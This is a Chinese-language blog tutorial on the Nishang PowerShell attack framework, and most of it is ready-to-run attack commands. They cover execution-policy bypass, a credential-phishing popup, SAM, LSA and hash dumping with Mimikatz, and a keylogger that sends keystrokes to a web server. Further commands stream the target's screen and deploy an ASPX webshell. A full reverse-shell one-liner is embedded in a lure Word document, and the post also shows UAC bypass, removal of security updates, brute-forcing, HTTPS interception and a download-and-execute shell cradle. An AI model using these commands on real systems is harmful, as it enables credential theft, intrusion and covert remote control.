PowerShell攻击:nishang

释放双眼,带上耳机,听听看~!

nishanhg

下载地址:https://github.com/samratashok/nishing

1.简介

nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。也就是说win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0

2.环境准备

查看powershell版本

get-host 或者 $PSVersionTable.PSVersion

Win Server 对应的 Powershell的版本如下:

Windows 2008 R2 – Version 2

Windows 2012 – Version 3

Windows 2012 R2 – Version 4

Windows 2016 – Version 5

这里我们使用win 10 进行测试:

1.修改执行策略

为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为Restricted受限,而Restricted是不允许任何脚本运行的。

在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。

Get-ExecutionPolicy

Restricted: 脚本不能运行(默认设置)

RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)

AllSigned: 仅当脚本由受信任的发布者签名时才能运行

Unrestricted: 允许所有的script脚本运行

通过以下cmdlet可以设置Powershell的执行策略

Set-ExecutionPolicy <policy nmae>

在真实的攻击场景之下,我们可以通过以下几种方式Bypass执行策略:

0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,也算是去更改了当前的全局策略

1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗

2. PowerShell.exe -ExecutionPolicy Bypass -File

更多Bypass姿势,可以参考Bypass执行策略的十五种方法:

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

2.加载脚本

在导入模块的时候会有警告提示,这里其实已经导入成功了,警告无需理会。

Import-Module ./nishang.psm1 # 导入模块

Get-Command -Module nishang #查看模块列表

3.模块及对应功能说明

4.模块使用

4.1.信息收集(Gather)

  1. Check-VM #检测当前机器是否为虚拟机
  2. Invoke-CerdentialsPhish #欺骗目标书记,输入密码
  3. Copy-VSS #利用Volume shadow Copy服务复制sam文件
  4. FireBuster FireListener #对内网扫描,打开本机监听,然后远程传输数据到FireListener

4.1.1 Check-VM

他是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。

Get-Information

使用命令 Get-Information,可以列出本机的信息。

这个脚本可以获取目标机器上大量的信息(用户信息、FTP访问,进程,计算机配置信息,安装的软件信息、开启的windows服务信息、无线网络和设备的信息,Hosts信息等)

Invoke-CredentialsPhish

这个脚本是用来欺骗用户输入账号密码信息的,执行后会弹出登录框欺骗用户输入账号密码信息,

最流氓的是这个框是关不掉的,用户只有输入正确的账号密码这个框才会消失。

直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:

4.1.3 Copy-VSS

PS > Copy-VSS //将会直接把Sam文件保存在当前路径下

PS > Copy-VSS -DestinationDir C:\temp //指定保存sam文件的路径

FireBuster FireListener

FireBuster可以对内网进行扫描,本地开了监听,然后它会把包远程传送给FireListener

FireListener -PortRange 130-150

FireBuster 192.168.190.136 130-150 -Verbose

该脚本作者的Github上面还提供了一个Python版的监听端:

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

Get-LSASecret

该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。

PS > Enable-DuplicateToken

PS > Get-LsaSecret

PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名

注:该模块只支持在32位的powershell中运行。

powershell x86

Get-PassHashes

这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。

PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果

Get-WLAN-Keys

在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。

PS > Get-WLAN-Keys

Keylogger

Keylogger可以保存下用户的键盘记录。

PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。

PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器

PS > .Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)

PS > .Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中

注:Keylogger模块需要进入Gather目录下才能执行

默认在Temp目录下生成Key文件,这时我们可以使用nishang Utility中的Parse_Keys来解析

PS >Parse_Keys key.log parsed.txt

然后parsed.txt里面就是解析后的按键记录了

Invoke-MimikatzWdigestDowngrade

Dump出Windows 8.1 and Server 2012的系统用户密码。 这里使用Server 2012进行测试。

PS >Invoke-MimikatzWDigestDowngrade

PS > Get-Job | Receive-Job

当执行完Invoke-MimikatzWDigestDowngrade计算机会自动锁屏。

dump失败

Get-PassHints

这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。

PS > Get-PassHints

屏幕窃取

Show-TargetScreen

使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

目标机器:Show-TargetScreen -Reverse -IPAddress 192.168.190.133 -Port 1521

攻击机:netcat -nlvp 1521 | netcat -nlvp 9999

这里能够接收到源源不断的MJPEG视频流

正向连接窃取屏幕

靶机执行:Show-TargetScreen -Bind -Port 1521

攻击机执行:netcat -nv 192.168.190.147 1521 | netcat -lnvp 9999

之后同样访问本机的9999端口,就能正常访问目标机器的桌面的实时画面了。

Invoke-Mimikatz

Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息

Invoke-Mimikatz -DumpCreds -ComputerName @(“computer1”, “computer2”) //Dump出远程两台计算机的凭证信息

Invoke-Mimikatz -Command “privilege::debug exit” -ComputerName “computer1″ //在远程一台机器上运行Mimikatz并执行”privilege::debug exit”

1.域相关脚本

Get-Unconstrained

查找域内开启了Kerberos Unconstrained Delegation的机器。

PS > Get-Unconstrained //返回开启的计算机名

PS > Get-Unconstrained -Details //返回更详细的信息

关于”通过Kerberos Unconstrained Delegation获取到域管理员”:

http://www.freebuf.com/articles/terminal/98530.html

2.Antak Webshell

存放于Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,可以实现编码、执行脚本,上传、下载文件等等。

  1. 上传Webshell后把它当成一个正常的Powershell执行窗口来使用
  2. 上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可

关于Antak Webshell的更多介绍,请参考:

http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

Username:Disclaimer

Password:ForLegitUseOnly

web界面的powershell窗口界面

4.生成木马

nishang中包含各种木马脚本,可以用来感染各种文件,如hta、word等,用于执行powershell脚本进行隐蔽攻击。

各个脚本的使用方法基本类似,

首先设置监听 nc -nvlp 1521

接着制作word文件,打开nishang\Shells目录下的 Invoke-PowerShellTcpOneLine.ps1文件,

修改远程连接的地址,复制代码:

$client = New-Object System.Net.Sockets.TCPClient(‘192.168.190.133’,1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

进入powershell命令行下执行如下代码:

Invoke-Encode -DataToEncode ‘你的代码’ -IsString -PostScript

Invoke-Encode -DataToEncode ‘$client = New-Object System.Net.Sockets.TCPClient(‘192.168.190.133’,1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’ -IsString -PostScript

执行完成之后会在当前目录下生成两个文件。一个是encoded.txt 另一个是encodedcommand.txt。

之后执行Out-Word -PayloadScript .encodedcommand.txt

就可以在我们当前文件夹下生成一个名为Salary_Details.doc的doc文件。之后使用nc监听就好

说完了操作,回过头来看看命令行参数

-Payload 后面直接加payload,但是注意引号的闭合

-PayloadURL 传入远程的payload进行生成

-PayloadScript 指定本地的脚本进行生成

-Arguments 之后加要执行的函数。(payload之中有的函数)

-OutputFile 输出的文件名

-WordFileDir 输出的目录地址

-Recurse 在WordFileDir中递归寻找Word文件

-RemoveDocx 创建完成后删除掉原始的文件

5.权限提升

Enable-DuplicateToken

这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。

PS > Enable-DuplicateToken

具体的相关介绍可以查阅:

https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/

Remove-Update

这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。

执行方式:

  1. PS > Remove-Update All //移除目标机器上的所有更新
  2. PS > Remove-Update Security //移除目标机器上所有安全相关更新
  3. PS > Remove-Update KB2761226 //移除指定编号的更新

Invoke-PsUACme

Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。

上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。

执行方式:

  1. PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
  2. PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
  3. PS > Invoke-PsUACme -method oobe -Payload “powershell -windowstyle hidden -e YourEncodedPayload” //使用-Payload参数可以自行指定要执行的Payload

除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。

关于Invoke-PsUACme模块的具体使用可以参考帮助信息

Get-Help Invoke-PsUACme -Full

6.扫描

Invoke-BruteForce

这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破

可以使用 Get-Help Invoke-PortScan -full 查看帮助信息

相关链接:

http://www.truesec.com

http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx

https://github.com/samratashok/nishang

1.端口扫描

Invoke-PortScan

利用这个脚本我们可以在目标机器上对内网进行端口扫描

PS >Invoke-PortScan -StartAddress 192.168.190.1 -EndAddress 192.168.190.254 -ResolveHost -ScanPort -Port 80

主要的参数:

  1. StartAddress 扫描范围开始的地址
  2. EndAddress 扫描范围结束的地址
  3. ScanPort 进行端口扫描
  4. Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111, 3389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
  5. TimeOut 设置超时时间

2.弱口令爆破

  1. 爆破域控制器

PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose

  1. 爆破SQL Server

PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose

  1. 爆破server.txt中所有servers的SQL Server

PS > cat C:\servers.txt | Invoke-BruteForce -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose

主要的参数:

  1. ComputerName 用于指定对应服务的计算机名
  2. UserList 用户名字典
  3. PasswordList 密码字典
  4. Service 服务类型(注意默认为:SQL)
  5. StopOnSuccess 成功找到一个后就停止执行

7.中间人嗅探

Invoke-Interceptor

这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来

PS >Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口

可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口)

我们在目标机器上执行:Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 9999

监听机器上执行:netcat -lvvp 9999

接收到了来自目标机的请求数据

并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据

反弹

TCP的shell

正向链接:

目标:PowerShell下执行:Invoke-PowerShellTcp -Bind -Port 1521

攻击机:NC下执行:nc -nv 192.168.190.147 1521

反向链接:

目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433

攻击机:nc -lvp 1433

UDP的shell

正向链接:

目标:Invoke-PowerShellUdp -Bind -Port 1521

攻击机:nc -nv 192.168.190.147 1521

反向链接:

目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433

攻击机:nc -lvp 1433

HTTP/HTTPS的shell

HTTP:Invoke-PoshRatHttp -IPAddress 192.168.190.147 -Port 1521

HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.147 -Port 1521

运行完命令会生成一条powershell命令,将该命令在目标机器cmd下运行本机即可获得shell

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-

Object Net.WebClient).DownloadString(‘http://192.168.190.147:1521/connect’))

目标机器运行完上述命令cmd会自动关闭,同时攻击机获得shell

参考

1. http://www.labofapenetrationtester.com/

2. https://github.com/sa

作者:micr067

人已赞赏
安全工具

PowerShell渗透–Empire(三)

2019-10-31 15:49:59

安全工具

Moonraker 靶机渗透

2019-10-31 15:54:20

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索